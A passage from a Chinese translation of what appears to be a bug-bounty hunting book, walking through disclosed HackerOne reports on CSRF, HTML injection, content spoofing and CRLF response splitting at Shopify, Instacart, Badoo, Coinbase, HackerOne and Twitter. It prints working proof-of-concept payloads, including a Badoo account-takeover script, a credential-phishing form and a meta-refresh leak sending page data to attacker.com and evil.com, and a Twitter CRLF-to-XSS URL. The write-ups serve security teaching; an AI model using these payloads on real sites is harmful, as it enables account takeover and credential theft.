https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect/
事实证明,访问此 URL 会发送一个GET请求以断开账户,如下所示:
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive
此外,当该链接最初实施时,Shopify 并未验证发送给它的GET请求的合法性,这使得该 URL 容易受到 CSRF 攻击。
提交报告的黑客 WeSecureApp 提供了以下概念验证 HTML 文档:
<html>
<body>
➊ <img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
</body>
</html>
当打开时,这个 HTML 文档会导致浏览器通过 <img> 标签的 src 属性 ➊ 向 https://twitter-commerce.shopifyapps.com 发送一个 HTTP GET 请求。如果有一个连接到 Shopify 的 Twitter 账户访问了包含这个 <img> 标签的网页,他们的 Twitter 账户将会与 Shopify 断开连接。
关键点
留意那些执行某些服务器端操作的 HTTP 请求,例如通过 GET 请求断开 Twitter 账户。如前所述,GET 请求永远不应该修改服务器上的任何数据。在这种情况下,你可以通过使用代理服务器,例如 Burp 或 OWASP 的 ZAP,来监控发送到 Shopify 的 HTTP 请求,发现这个漏洞。
更改用户 Instacart 区域
难度: 低
网址: https://admin.instacart.com/api/v2/zones/
来源: hackerone.com/reports/157993/
报告日期: 2015 年 8 月 9 日
奖励金额: $100
当你查看攻击面时,记得考虑网站的 API 端点以及它的网页。Instacart 是一个食品配送应用程序,允许配送员定义他们工作的区域。该网站通过向 Instacart 管理子域发送 POST 请求来更新这些区域。一名黑客发现该子域上的区域端点存在 CSRF 漏洞。例如,你可以通过以下代码修改目标的区域:
<html>
<body>
➊ <form action="https://admin.instacart.com/api/v2/zones" method="POST">
➋ <input type="hidden" name="zip" value="10001" />
➌ <input type="hidden" name="override" value="true" />
➍ <input type="submit" value="Submit request" />
</form>
</body>
</html>
在这个例子中,黑客创建了一个 HTML 表单,向 /api/v2/zones 端点发送了一个 HTTP POST 请求 ➊。黑客包括了两个隐藏输入框:一个用来将用户的新区域设置为邮政编码 10001 ➋,另一个将 API 的 override 参数设置为 true ➌,这样用户当前的 zip 值就被黑客提交的值替换了。此外,黑客还包括了一个提交按钮来发起 POST 请求 ➍,不同于 Shopify 示例中使用的自动提交的 JavaScript 函数。
尽管这个例子依然成功,但黑客可以通过使用之前描述的技巧来改善这个漏洞利用方式,比如使用隐藏的 iFrame 来代表目标自动提交请求。这将向 Instacart 的漏洞奖励评审员展示攻击者如何使用这种漏洞,减少目标的操作;完全由攻击者控制的漏洞,比那些需要目标操作的漏洞更容易成功利用。
关键点
在寻找漏洞时,要拓宽攻击范围,不仅要关注网站页面,还要包括它的 API 端点,这些端点常常潜藏着巨大的漏洞风险。有时,开发者会忘记黑客可以发现并利用 API 端点,因为它们不像网页那样容易被发现。例如,移动应用程序通常会向 API 端点发送 HTTP 请求,你可以使用 Burp 或 ZAP 监控这些请求,就像监控网站一样。
Badoo 完整账户接管
难度: 中
网址: www.badoo.com/
来源: hackerone.com/reports/127703/
报告日期: 2016 年 4 月 1 日
奖励支付: $852
尽管开发者通常使用 CSRF 令牌来防止 CSRF 漏洞,但在某些情况下,攻击者可以窃取令牌,正如你在这个漏洞中看到的那样。如果你浏览社交网站 www.badoo.com/,你会看到它使用了 CSRF 令牌。更具体地说,它使用了一个名为rt的 URL 参数,该参数对每个用户都是唯一的。当 Badoo 的漏洞奖励计划在 HackerOne 上线时,我无法找到利用它的方法。然而,黑客 Mahmoud Jamal 做到了。
Jamal 识别了rt参数及其重要性。他还注意到该参数几乎在所有的 JSON 响应中都会返回。不幸的是,这并没有提供帮助,因为 CORS 保护了 Badoo,防止攻击者读取这些响应,因为它们以application/json内容类型进行编码。但 Jamal 仍然继续深入挖掘。
Jamal 最终找到了包含名为url_stats的变量的 JavaScript 文件 eu1.badoo.com/worker-scope/chrome-service-worker.js,该变量被设置为以下值:
var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<➊rt_param_value>';
url_stats变量存储了一个 URL,其中包含用户唯一的rt值作为参数,当用户的浏览器访问该 JavaScript 文件时➊。更好的是,为了获取用户的rt值,攻击者只需要让目标访问一个恶意网页,该网页将访问该 JavaScript 文件。CORS 不会阻止这种情况,因为浏览器允许读取和嵌入来自外部源的远程 JavaScript 文件。攻击者随后可以使用rt值将任何社交媒体账户与用户的 Badoo 账户关联起来。因此,攻击者可以发起 HTTP POST请求来修改目标的账户。以下是 Jamal 用来实现这个漏洞的 HTML 页面:
<html>
<head>
<title>Badoo account take over</title>
➊ <script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.
js?ws=1></script>
</head>
<body>
<script>
➋ function getCSRFcode(str) {
return str.split('=')[2];
}
➌ window.onload = function(){
➍ var csrf_code = getCSRFcode(url_stats);
➎ csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3y
fn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679
219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
➏ window.location = csrf_url;
};
</script>
</body>
</html>
当目标加载此页面时,页面将通过在<script>标签的src属性中引用 Badoo 的 JavaScript 来加载它➊。加载了脚本后,网页会调用 JavaScript 函数window.onload,该函数定义了一个匿名 JavaScript 函数➌。浏览器在网页加载时会调用onload事件处理程序;由于 Jamal 定义的函数位于window.onload处理程序中,他的函数将在页面加载时始终被调用。
接下来,Jamal 创建了一个csrf_code变量➍,并将其赋值为他在➋处定义的一个名为getCSRFcode的函数的返回值。getCSRFcode函数接受一个字符串,并在每个'='字符处将其拆分成字符串数组。然后它返回数组的第三个成员。当该函数解析 Badoo 的漏洞 JavaScript 文件中的url_stats变量时,它将字符串拆分成以下数组值:
https://eu1.badoo.com/chrome-push-stats?ws,1&rt,<rt_param_value>
然后该函数返回数组的第三个成员,即rt值,并将其赋值给csrf_code。
一旦获得了 CSRF 令牌,Jamal 创建了 csrf_url 变量,该变量存储了指向 Badoo 的 /google/verify.phtml 网页的 URL。该网页将他的 Google 账户与目标的 Badoo 账户链接起来 ➎。此页面需要一些参数,这些参数被硬编码到 URL 字符串中。我在这里不会详细讨论它们,因为它们是 Badoo 特有的。然而,请注意最后的 rt 参数,它没有硬编码的值。相反,csrf_code 被拼接到 URL 字符串的末尾,因此它作为 rt 参数的值被传递。然后,Jamal 通过调用 window.location ➏ 发起一个 HTTP 请求,并将其赋值给 csrf_url,从而将访问用户的浏览器重定向到 ➎ 处的 URL。这会导致向 Badoo 发起一个 GET 请求,Badoo 会验证 rt 参数并处理该请求,将目标的 Badoo 账户与 Jamal 的 Google 账户关联,从而完成账户接管。
重点总结
哪里有烟,哪里就有火。Jamal 注意到 rt 参数在不同的位置被返回,特别是在 JSON 响应中。因此,他正确地猜测 rt 可能会出现在攻击者可以访问并利用的位置,在这种情况下就是一个 JavaScript 文件。如果你觉得一个站点可能存在漏洞,继续深入检查。在这种情况下,我觉得奇怪的是 CSRF 令牌居然只有五个数字,并且包含在 URL 中。通常,令牌要长得多,这样更难猜测,而且应该包含在 HTTP POST 请求的主体中,而不是 URL 中。使用代理并检查访问站点或应用时调用的所有资源。Burp 允许你搜索代理历史记录中的特定术语或值,这可以帮助你发现这里的 JavaScript 文件中包含的 rt 值。你可能会发现敏感数据泄漏,例如 CSRF 令牌。
总结
CSRF 漏洞代表了攻击者可以在目标用户不知情或没有主动执行任何操作的情况下利用的另一种攻击向量。发现 CSRF 漏洞可能需要一些独创性和测试站点上所有功能的意愿。
通常,应用框架,如 Ruby on Rails,正在越来越多地保护 Web 表单,尤其是当站点执行 POST 请求时;但是,GET 请求并不在保护范围之内。因此,一定要注意任何可能更改服务器端用户数据的 GET HTTP 调用(例如断开 Twitter 账户连接)。另外,虽然我没有提供这个例子,但如果你看到站点通过 POST 请求发送 CSRF 令牌,你可以尝试更改 CSRF 令牌的值或完全删除它,以确保服务器在验证其存在性。
第五章:HTML 注入与内容欺骗**

超文本标记语言(HTML)注入和内容欺骗是允许恶意用户向网站的网页中注入内容的攻击。攻击者可以注入自己设计的 HTML 元素,最常见的是<form>标签,它模仿合法的登录界面,诱骗目标将敏感信息提交到恶意网站。由于这些类型的攻击依赖于欺骗目标(这种做法有时被称为社会工程学),漏洞奖励计划将内容欺骗和 HTML 注入视为比本书中涵盖的其他漏洞更不严重。
当一个网站允许攻击者提交 HTML 标签,通常通过某些表单输入或 URL 参数,然后直接在网页上渲染时,就会发生 HTML 注入漏洞。这类似于跨站脚本攻击,区别在于这些注入允许执行恶意 JavaScript,我将在第七章中讨论。
HTML 注入有时被称为虚拟篡改。这是因为开发人员使用 HTML 语言定义网页的结构。所以如果攻击者能够注入 HTML 并且网站渲染它,攻击者就可以改变页面的外观。这种通过假表单诱骗用户提交敏感信息的技巧被称为钓鱼。
例如,如果一个页面渲染了你可以控制的内容,你可能能够向页面添加一个<form>标签,要求用户重新输入他们的用户名和密码,如下所示:
➊ <form method='POST' action='http://attacker.com/capture.php' id='login-form'>
<input type='text' name='username' value=''>
<input type='password' name='password' value=''>
<input type='submit' value='submit'>
</form>
当用户提交此表单时,信息通过action属性 ➊发送到攻击者的网站 http://
内容欺骗与 HTML 注入非常相似,区别在于攻击者只能注入纯文本,而不能注入 HTML 标签。此限制通常是由于网站要么会对包含的 HTML 进行转义,要么在服务器发送 HTTP 响应时会去除 HTML 标签。尽管攻击者无法通过内容欺骗格式化网页,但他们可能能够插入看似合法网站内容的文本,例如一条信息。这些信息可能会欺骗目标执行某个操作,但在很大程度上依赖于社会工程学。以下示例展示了如何发现这些漏洞。
通过字符编码的 Coinbase 评论注入
难度: 低
网址: https://coinbase.com/apps/
来源: hackerone.com/reports/104543/
报告日期: 2015 年 12 月 10 日
奖励支付: $200
一些网站会过滤掉 HTML 标签来防御 HTML 注入攻击;然而,有时你可以通过理解 HTML 字符实体的工作原理来绕过这一限制。对于这个漏洞,报告者发现 Coinbase 在渲染用户评论中的文本时会解码 HTML 实体。在 HTML 中,一些字符是 保留的,因为它们有特殊用途(比如尖括号 < >,用来表示 HTML 标签的开始和结束),而 非保留字符 是没有特殊意义的普通字符(如字母)。保留字符应该使用它们的 HTML 实体名称渲染;例如,字符 > 应该被网站渲染为 >,以避免注入漏洞。但即使是非保留字符,也可以通过其 HTML 编码的数字来渲染;例如,字母 a 可以渲染为 a。
对于这个漏洞,报告者首先将纯 HTML 输入到一个用于用户评论的文本框中:
<h1>This is a test</h1>
Coinbase 会过滤 HTML 并将其渲染为纯文本,因此提交的文本将作为正常评论发布。它会看起来和输入时一样,只是移除了 HTML 标签。然而,如果用户将文本以 HTML 编码值的形式提交,比如这样:
<h1>This is a &#
116;est</h1>
Coinbase 不会过滤这些标签,并且会将该字符串解码为 HTML,导致网站在提交的评论中渲染 <h1> 标签:
这是一个测试
通过使用 HTML 编码值,报告的黑客展示了他是如何让 Coinbase 渲染用户名和密码字段的:
Username:<br> &
#60;input type="t
;ext" name="fi
4;stname"> <br>
Password:<br> &
#60;input type="p
;assword" name
1;"lastname">
这将导致 HTML 看起来如下所示:
Username:<br>
<input type="text" name="firstname">
<br>
Password:<br>
<input type="password" name="lastname">
这渲染成了看起来像是输入用户名和密码登录的文本输入表单。恶意黑客可能利用这个漏洞欺骗用户将实际表单提交到恶意网站,从而窃取凭证。然而,这个漏洞依赖于用户被误导相信登录是假的并提交他们的信息,而这并不是必然的。因此,Coinbase 对该漏洞给予的奖励较低,相比之下,那些不需要用户交互的漏洞奖励金额更高。
总结
当你测试一个网站时,检查它如何处理不同类型的输入,包括纯文本和编码文本。注意检查那些接受 URI 编码值(如 %2F)并渲染其解码值的网站,在这种情况下,解码值将是 /。
你可以在 gchq.github.io/CyberChef/ 找到一个很棒的瑞士军刀工具,其中包括编码工具。查看一下,试试它支持的各种编码类型。
HackerOne 意外的 HTML 插入
难度: 中等
网址: https://hackerone.com/reports/<report_id>/
来源: hackerone.com/reports/110578/
报告日期: 2016 年 1 月 13 日
奖励金额: 500 美元
这个示例和接下来的部分需要了解 Markdown、悬挂单引号、React 和文档对象模型(DOM),所以我会首先介绍这些主题,然后再讨论它们如何导致两个相关的漏洞。
Markdown 是一种标记语言,使用特定的语法生成 HTML。例如,Markdown 会接受并解析以井号符号(#)为前缀的纯文本,将其转换为格式化为头部标签的 HTML。标记 # Some Content 会生成 HTML <h1>Some Content</h1>。开发人员常常在网站编辑器中使用 Markdown,因为它是一种易于使用的语言。此外,在允许用户提交输入的站点上,开发人员不需要担心 HTML 格式错误,因为编辑器会为他们处理 HTML 的生成。
我将在这里讨论的 bug 利用了 Markdown 语法生成了一个带有 title 属性的 <a> 锚标签。通常,这种语法是:
[test](https://torontowebsitedeveloper.com "Your title tag here")
方括号之间的文本变成了显示文本,链接的网址包含在括号内,并带有一个 title 属性,该属性被包含在一对双引号中。这种语法会生成以下 HTML:
<a href="https://torontowebsitedeveloper.com" title="Your title tag here">test</a>
2016 年 1 月,漏洞猎人 Inti De Ceukelaire 注意到 HackerOne 的 Markdown 编辑器配置错误;因此,攻击者可以将一个悬挂的单引号注入到 Markdown 语法中,这个引号会包含在生成的 HTML 中,任何使用 Markdown 编辑器的地方都会受到影响。漏洞赏金计划管理页面以及报告都存在漏洞。这是非常重要的:如果攻击者能够在管理页面找到第二个漏洞,并将第二个悬挂引号注入到页面开头的 <meta> 标签中(无论是通过注入 <meta> 标签,还是找到 <meta> 标签中的注入点),他们就可以利用浏览器的 HTML 解析功能泄露页面内容。原因是 <meta> 标签告诉浏览器通过标签的 content 属性中定义的 URL 刷新页面。渲染页面时,浏览器会对指定的 URL 执行 GET 请求。页面中的内容可以作为 GET 请求的参数发送,攻击者可以利用这些信息来提取目标的数据。以下是一个带有注入单引号的恶意 <meta> 标签可能的样子:
<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
0 定义了浏览器在发起 HTTP 请求之前等待的时间。在这种情况下,浏览器会立即向 https://evil.com/log.php?text= 发起 HTTP 请求。HTTP 请求将包含从 content 属性开始的单引号之间的所有内容,以及攻击者通过网页上的 Markdown 解析器注入的单引号。以下是一个示例:
<html>
<head>
<meta http-equiv="refresh" content=➊'0; url=https://evil.com/log.php?text=
</head>
<body>
<h1>Some content</h1>
--snip--
<input type="hidden" name="csrf-token" value= "ab34513cdfe123ad1f">
--snip--
<p>attacker input with '➋ </p>
--snip--
</body>
</html>
从 content 属性后的第一个单引号到攻击者输入的单引号(➊ 到 ➋)之间的页面内容将作为 URL 的 text 参数发送给攻击者。还将包括来自隐藏输入字段的敏感跨站请求伪造(CSRF)令牌。
通常情况下,HTML 注入的风险对于 HackerOne 来说并不会成为问题,因为它使用 React JavaScript 框架来渲染 HTML。React 是一个由 Facebook 开发的库,旨在动态更新网页内容,而无需重新加载整个页面。使用 React 的另一个好处是,框架会转义所有 HTML,除非使用 JavaScript 函数dangerouslySetInnerHTML直接更新 DOM 并渲染 HTML(DOM是一个用于 HTML 和 XML 文档的 API,允许开发者通过 JavaScript 修改网页的结构、样式和内容)。事实证明,HackerOne 使用了dangerouslySetInnerHTML,因为它信任从服务器接收到的 HTML;因此,它直接将 HTML 注入到 DOM 中而没有进行转义。
尽管 De Ceukelaire 无法利用该漏洞,他确实识别出一些页面,能够在 HackerOne 渲染 CSRF 令牌后注入单引号。因此,概念上,如果 HackerOne 在未来进行代码更改,允许攻击者在同一页面的<meta>标签中注入另一个单引号,攻击者可能会窃取目标的 CSRF 令牌并执行 CSRF 攻击。HackerOne 同意了这一潜在风险,解决了报告,并奖励 De Ceukelaire 500 美元。
主要收获
理解浏览器如何渲染 HTML 以及如何响应某些 HTML 标签的细微差别,能够揭示出广泛的攻击面。虽然并非所有程序都会接受关于潜在理论性攻击的报告,但这些知识将帮助你发现其他漏洞。FileDescriptor 对于<meta>刷新漏洞有很好的解释,详细内容可以参考 blog.innerht.ml/csp-2015/#contentexfiltration,我强烈推荐你查看一下。
HackerOne 意外 HTML 包含修复绕过
难度: 中等
URL: https://hackerone.com/reports/<report_id>/
来源: hackerone.com/reports/112935/
报告日期: 2016 年 1 月 26 日
支付赏金: 500 美元
当一个组织创建修复并解决报告时,功能并不总是能完全修复。阅读了 De Ceukelaire 的报告后,我决定测试 HackerOne 的修复,看其 Markdown 编辑器如何渲染意外输入。为了做到这一点,我提交了以下内容:
[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss"
yyy="test"")
回想一下,为了在 Markdown 中创建锚点标签,通常需要提供一个 URL 和一个用双引号括起来的title属性。为了解析title属性,Markdown 需要跟踪开头的双引号、其后的内容以及结束的引号。
我好奇是否能通过添加额外的随机双引号和属性来混淆 Markdown,看看它是否会错误地开始追踪这些内容。这就是我添加 ismap=(一个有效的 HTML 属性)、yyy=(一个无效的 HTML 属性)和额外双引号的原因。在提交这个输入后,Markdown 编辑器将代码解析成了以下 HTML:
<a title="test" ismap="alert xss" yyy="test" ref="http://
www.toronotwebsitedeveloper.com">test</a>
请注意,De Ceukelaire 报告中的修复导致了一个意外的 bug,使得 Markdown 解析器生成了任意 HTML。虽然我不能立即利用这个 bug,但包含未经转义的 HTML 已足够作为概念验证,HackerOne 因此撤回了之前的修复,并使用不同的解决方案来修复问题。由于有人能够注入任意 HTML 标签,这可能导致漏洞,因此 HackerOne 向我支付了 500 美元的赏金。
要点
仅仅因为代码更新并不意味着所有漏洞都已修复。务必测试更改——并且要坚持不懈。当一个修复被部署时,意味着有了新的代码,而这些代码可能包含漏洞。
在安全内容欺骗中
难度: 低
URL: withinsecurity.com/wp-login.php
来源: hackerone.com/reports/111094/
报告日期: 2016 年 1 月 16 日
赏金支付: 250 美元
Within Security 是一个用于分享安全新闻的 HackerOne 网站,建立在 WordPress 上,并在页面 withinsecurity.com/wp-login.php 中包含了一个标准的 WordPress 登录路径。一位黑客注意到,在登录过程中,如果发生错误,Within Security 会渲染一个 access_denied 错误消息,这个消息也对应于 URL 中的 error 参数:
https://withinsecurity.com/wp-login.php?error=access_denied
发现这个行为后,黑客尝试修改 error 参数。结果,网站将传递给该参数的值渲染为错误消息的一部分,甚至 URI 编码的字符也被解码。以下是黑客使用的修改后的 URL:
https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20been%20
hacked%2C%20Please%20call%20us%20this%20number%20919876543210%20OR%20Drop%20
mail%20at%20attacker%40mail.com&state=cb04a91ac5%257Chttps%253A%252F%252Fwithi
nsecurity.com%252Fwp-admin%252F#
该参数作为错误消息渲染,显示在 WordPress 登录字段的上方。该消息引导用户联系一个攻击者拥有的电话号码和电子邮件。
这里的关键是注意到 URL 中的参数在页面上被渲染。仅仅测试是否能够更改 access_denied 参数,就揭示了这个漏洞。
要点
关注那些传递并作为网站内容渲染的 URL 参数。这些参数可能会成为文本注入漏洞的入口,攻击者可以利用它们来进行钓鱼攻击。网站上可控的 URL 参数有时会导致跨站脚本攻击,我将在第七章中讲解这一内容。其他情况下,这种行为仅会导致影响较小的内容欺骗和 HTML 注入攻击。需要注意的是,尽管这份报告支付了 250 美元,但这只是Within Security的最低悬赏金额。并不是所有的漏洞赏金计划都重视或支付 HTML 注入和内容欺骗漏洞的报告,因为类似社交工程的攻击,依赖于目标被注入文本欺骗。

图 5-1:攻击者能够将这个“警告”注入到 WordPress 管理页面中。
总结
HTML 注入和内容欺骗允许黑客输入信息并使 HTML 页面将这些信息反馈给目标。攻击者可以利用这些攻击手段进行钓鱼,诱使用户访问恶意网站或提交敏感信息。
发现这类漏洞不仅仅是提交普通的 HTML,还涉及探索网站如何渲染你输入的文本。黑客应留意可能通过操控直接渲染在网站上的 URL 参数来寻找漏洞的机会。
第六章:回车换行符注入**

一些漏洞允许用户输入在 HTML 和 HTTP 响应中具有特殊含义的编码字符。通常,应用程序会对这些字符进行清理,以防止攻击者恶意篡改 HTTP 消息,但在某些情况下,应用程序要么忘记清理输入,要么未能正确清理。当这种情况发生时,服务器、代理和浏览器可能会将特殊字符解释为代码,并改变原始 HTTP 消息,从而允许攻击者操控应用程序的行为。
编码字符的两个示例是%0D和%0A,分别表示\n(回车)和\r(换行符)。这些编码字符通常被称为回车换行符(CRLF)。服务器和浏览器依赖 CRLF 字符来识别 HTTP 消息的各个部分,例如头部。
回车换行注入(CRLF 注入)漏洞发生在应用程序未能清理用户输入或清理不当的情况下。如果攻击者能够将 CRLF 字符注入到 HTTP 消息中,他们可以实现我们将在本章讨论的两种攻击:HTTP 请求走私和 HTTP 响应分割攻击。此外,通常你可以将 CRLF 注入与其他漏洞链式利用,在漏洞报告中展示更大的影响,正如我在本章后面将演示的那样。出于本书的目的,我们将仅提供如何利用 CRLF 注入实现 HTTP 请求走私的示例。
HTTP 请求走私
HTTP 请求走私发生在攻击者利用 CRLF 注入漏洞将第二个 HTTP 请求附加到最初的合法请求时。由于应用程序没有预料到注入的 CRLF,它最初将这两个请求当作一个请求处理。该请求会通过接收服务器(通常是代理或防火墙)传递,处理后再发送到另一个服务器,例如执行站点操作的应用程序服务器。这种类型的漏洞可能导致缓存中毒、防火墙绕过、请求劫持或 HTTP 响应分割。
在缓存中毒中,攻击者可以修改应用程序缓存中的条目,提供恶意页面而不是正确的页面。在防火墙绕过中,攻击者通过使用 CRLF 字符构造请求以绕过安全检查。在请求劫持情况下,攻击者可以在攻击者与客户端之间没有任何交互的情况下窃取httponly cookies 和 HTTP 认证信息。这些攻击之所以有效,是因为服务器将 CRLF 字符解释为 HTTP 头开始的标志,因此,如果它们看到另一个头部,它们会将其解释为新 HTTP 请求的开始。
HTTP 响应拆分,本章接下来的内容将重点讨论,它允许攻击者通过注入新的浏览器可以解析的头部,来拆分单个 HTTP 响应。攻击者可以根据漏洞的性质,使用两种方法之一来利用响应拆分。第一种方法中,攻击者使用 CRLF 字符完成初始服务器响应,并插入额外的头部,生成新的 HTTP 响应。然而,有时攻击者只能修改响应,而无法注入完全新的 HTTP 响应。例如,他们可能只能注入有限数量的字符。这导致了第二种利用响应拆分的方法,即插入新的 HTTP 响应头,例如 Location 头。注入 Location 头将允许攻击者将 CRLF 漏洞与重定向结合,发送目标到恶意网站,或者跨站脚本攻击(XSS),这是我们将在第七章中讨论的攻击。
v.shopify.com 响应拆分
难度: 中等
URL: v.shopify.com/last_shop?
来源: hackerone.com/reports/106427/
报告日期: 2015 年 12 月 22 日
奖金支付: $500
2015 年 12 月,HackerOne 用户 krankopwnz 报告称,Shopify 未验证传递到 URL 中的 shop 参数 v.shopify.com/last_shop?GET 请求,以设置记录用户最后一次登录的商店的 cookie。因此,攻击者可以在 URL 中将 CRLF 字符 %0d%0a(编码时大小写无关)作为 last_shop 参数的一部分进行注入。当这些字符被提交时,Shopify 会使用完整的 last_shop 参数生成新的 HTTP 响应头。以下是 krankopwnz 为测试该漏洞是否有效而注入的恶意代码,作为商店名称的一部分:
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20
text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>
由于 Shopify 使用未经清理的 last_shop 参数在 HTTP 响应中设置了 cookie,响应中包含了浏览器将其解释为两个响应的内容。%20 字符代表编码后的空格,在响应接收时会被解码。
浏览器接收到的响应被解码为:
➊ Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
➋ <html>deface</html>
响应的第一部分将在原始 HTTP 头之后出现。原始响应的内容长度被声明为0 ➊,这告诉浏览器响应体中没有内容。接下来,一个 CRLF 开始了新的一行和新的头部。文本设置了新的头部信息,告诉浏览器有第二个响应,它是 HTML 格式的,并且其长度为19。然后,头部信息向浏览器提供了渲染 HTML 的内容 ➋。当恶意攻击者使用注入的 HTTP 头时,可能会出现各种漏洞,包括 XSS(跨站脚本攻击),我们将在第七章中讨论。
重点总结
留意那些接受输入并将其作为返回头部的一部分使用的站点,特别是当它们设置 cookie 时。如果你在一个站点上发现这种行为,尝试提交%0D%0A(或者在 Internet Explorer 中仅使用%0A%20)来检查该站点是否正确防护了 CRLF 注入。如果没有,测试是否能够添加新的头部或整个 HTTP 响应。当这种漏洞发生时,通常用户交互很少,例如在GET请求中,最容易被利用。
Twitter HTTP 响应分割
难度: 高
网址: https://twitter.com/i/safety/report_story/
来源: hackerone.com/reports/52042/
报告日期: 2015 年 3 月 15 日
支付悬赏: $3,500
在寻找漏洞时,记得要跳出常规思维,提交编码值以查看站点如何处理输入。在某些情况下,站点会通过使用黑名单来防止 CRLF 注入。换句话说,站点会检查输入中的任何黑名单字符,然后相应地删除这些字符或不允许 HTTP 请求被发送。然而,攻击者有时可以通过使用字符编码绕过黑名单。
2015 年 3 月,FileDescriptor 通过操控 Twitter 处理字符编码的方式,发现了一个漏洞,使他能够通过 HTTP 请求设置一个 cookie。
FileDescriptor 测试的 HTTP 请求包含了一个reported_tweet_id参数,当发送到https://twitter.com/i/safety/report_story/(一个允许用户报告不当广告的 Twitter 遗留页面)时。响应时,Twitter 还会返回一个包含 HTTP 请求提交参数的 cookie。在他的测试中,FileDescriptor 注意到 CR 和 LF 字符被列入黑名单并进行了清理。Twitter 会将任何 LF 字符替换为空格,并在收到任何 CR 时返回 HTTP 400(错误请求),从而防止 CRLF 注入。但 FileDescriptor 知道一个 Firefox 漏洞,错误地解码了 cookie,可能允许用户向网站注入恶意载荷。了解这个漏洞后,他测试了 Twitter 上是否也存在类似的漏洞。
在 Firefox 漏洞中,Firefox 会剥离 cookie 中所有超出 ASCII 字符范围的 Unicode 字符。然而,Unicode 字符可以由多个字节组成。如果多字节字符中的某些字节被剥离,剩余的字节可能导致恶意字符在网页上被渲染。
受 Firefox 漏洞的启发,FileDescriptor 测试了攻击者是否能够通过 Twitter 的黑名单,利用相同的多字节字符技术悄悄传递恶意字符。因此,FileDescriptor 找到了一种 Unicode 字符,其编码以 %0A(换行符 LF)结尾,但其其他字节不包含在 HTTP 字符集内。他使用了 Unicode 字符
,该字符的十六进制编码为 U+560A(56 0A)。但当此字符用于 URL 中时,它会被 UTF-8 编码为 %E5%98%8A。这三个字节 %E3、%98、%8A 绕过了 Twitter 的黑名单,因为它们不是恶意字符。
当 FileDescriptor 提交这个值时,他发现 Twitter 不会清理 URL 编码字符,但会将 UTF-8 编码的 %E5%98%8A 解码回其 Unicode 值 56 0A。Twitter 会丢弃 56 作为无效字符,留下换行符 0A 不变。此外,他还发现字符
(它编码为 56 0D)也可以用来将必要的回车符 (%0D) 插入 HTTP 响应中。
一旦他确认该方法有效,FileDescriptor 将值 %E5%98%8A%E5%98%8DSet-Cookie:%20test 传入 Twitter 的 URL 参数。Twitter 会解码字符,去除超出范围的字符,并保留 %0A 和 %0D 在 HTTP 请求中,最终结果为值 %0A%0DSet-Cookie:%20test。CRLF 会将 HTTP 响应分成两部分,因此第二个响应仅包含 Set-Cookie: test 值,这是用于设置 cookie 的 HTTP 头部。
CRLF 攻击在允许 XSS 攻击时可能更加危险。虽然利用 XSS 的细节在这个例子中并不重要,但应该注意到,FileDescriptor 在这个概念验证的基础上进一步展开了。他向 Twitter 演示了如何利用这个 CRLF 漏洞执行恶意 JavaScript,使用以下 URL:
https://twitter.com/login?redirect_after_login=https://twitter.com:21/%E5
%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5
%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%29%E5%98%BE
关键的细节是分布在各处的 3 字节值:%E5%98%8A、%E5%98%8D、%E5%98%BC 和 %E5%98%BE。经过字符去除后,这些值分别解码为 %0A、%0D、%3C 和 %3E,它们都是 HTML 特殊字符。字节 %3C 是左尖括号 (<),而 %3E 是右尖括号 (>)。
URL 中的其他字符按原样包含在 HTTP 响应中。因此,当这些编码的字节字符经过解码并带有换行符时,头部显示如下:
https://twitter.com/login?redirect_after_login=https://twitter.com:21/
content-type:text/html
location:
<svg/onload=alert(innerHTML)>
负载被解码后,注入了content-type text/html头部,这告诉浏览器响应将包含 HTML。Location头使用<svg>标签执行 JavaScript 代码alert(innerHTML)。该警告框会创建一个包含网页内容的弹窗,使用 DOM 的innerHTML属性(innerHTML属性返回给定元素的 HTML)。在这种情况下,警告框将包含已登录用户的会话和认证 Cookie,表明攻击者可以窃取这些值。窃取认证 Cookie 可以让攻击者登录目标账户,这也解释了为什么 FileDescriptor 因发现此漏洞而获得了 3500 美元的赏金。
要点
如果服务器以某种方式清理字符%0D%0A,请考虑网站可能是如何进行清理的,并思考是否能绕过它的努力,比如通过双重编码。你可以通过传递多字节字符并确定它们是否被解码为其他字符,来测试网站是否错误处理了额外的值。
总结
CRLF 漏洞允许攻击者通过修改 HTTP 响应头来操控它们。利用 CRLF 漏洞可能导致缓存投毒、防火墙绕过、请求劫持或 HTTP 响应拆分。由于 CRLF 漏洞是由网站在其头部反射未经清理的用户输入%0D%0A引起的,因此在进行黑客攻击时,监控和审查所有 HTTP 响应非常重要。此外,如果你发现你可以控制的输入被返回到 HTTP 头中,但字符%0D%0A正在被清理,尝试像 FileDescriptor 那样包含多字节编码的输入,以确定网站如何处理解码过程。
第七章:跨站脚本(XSS)**

